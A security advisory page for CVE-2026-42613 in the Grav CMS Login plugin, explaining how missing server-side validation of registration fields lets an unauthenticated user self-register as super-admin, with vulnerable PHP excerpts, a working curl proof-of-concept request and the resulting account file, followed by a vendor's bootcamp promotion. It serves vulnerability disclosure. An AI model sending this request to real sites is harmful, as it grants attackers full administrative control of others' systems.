Advisory Details

Privilege Escalation via Missing Server-Side Validation of groups/access

CVSS 3.1:9.4 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Attack VectorN/A
Attack ComplexityN/A
Privileges RequiredN/A
User InteractionN/A
ScopeN/A
ConfidentialityN/A
IntegrityN/A
AvailabilityN/A
Software:Grav
Published:27.04.2026
CVE:CVE-2026-42613 ↗
Credits:Jonathan Dersch
External Advisory:Check out the external advisory ↗

Summary

The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.

This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.

Affected Component

Root Cause

In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:

// Line 254-260
if (!isset($data['groups'])) {
    $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
    if (count($groups) > 0) {
        $data['groups'] = $groups;
    }
}

// Line 262-267
if (!isset($data['access'])) {
    $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
    if (count($access) > 0) {
        $data['access']['site'] = $access;
    }
}

If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker’s values flow through unchanged.

Later (lines 298-303), these values are assigned directly to the user object:

if (isset($data['groups'])) {
    $user->groups = $data['groups'];  // attacker-controlled
}
if (isset($data['access'])) {
    $user->access = $data['access'];  // attacker-controlled
}
$user->save();

The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.

Precondition

Registration must be enabled with groups and/or access in the configured allowed fields:

# user/config/plugins/login.yaml
user_registration:
  enabled: true
  fields:
    - username
    - password
    - email
    - fullname
    - groups    # ← enables the attack
    - access    # ← enables the attack

This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.

Proof of Concept

Malicious registration request (unauthenticated):

curl -X POST "${TARGET}/user_register" \
  --data-urlencode "data[username]=attacker" \
  --data-urlencode "data[password1]=Str0ngP@ss!" \
  --data-urlencode "data[password2]=Str0ngP@ss!" \
  --data-urlencode "data[email]=attacker@evil.com" \
  --data-urlencode "data[fullname]=Attacker" \
  --data-urlencode "data[groups][]=admins" \
  --data-urlencode "data[access][admin][login]=true" \
  --data-urlencode "data[access][admin][super]=true" \
  --data-urlencode "data[access][site][login]=true" \
  --data-urlencode "form-nonce=${FORM_NONCE}" \
  --data-urlencode "__form-name__=user_register" \
  --data-urlencode "__unique_form_id__=${FORM_UID}"

Resulting account file (user/accounts/attacker.yaml):

email: attacker@evil.com
fullname: Attacker
groups:
  - admins
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: ...
state: enabled

The attacker can then log into /admin with full super-admin privileges.

Impact

Environment

Könnte deine Anwendung auch Lücken haben?

In unserem Hacking Cult Bootcamp durchläufst du in 4 Wochen einen strukturierten Security-Check. Von Grundlagenwissen, um zu prüfen, wo dein Team wirklich steht, bis hin zum konkreten Schwachstellen-Scan deiner Webanwendung. Und das komplett kostenlos!

Melde dich!

Hacking Cult GmbH

Gerolfinger Str. 106
85049 Ingolstadt

+49 (841) 9937 3456
ops[LOESCH-MICH-SPAMSCHUTZ]@[LOESCH-MICH-AUCH]hackingcult.de

LinkedIn Unternehmensseite
Facebook Account
Hacking Cult Youtube Channel
Hacking Cult Instagram account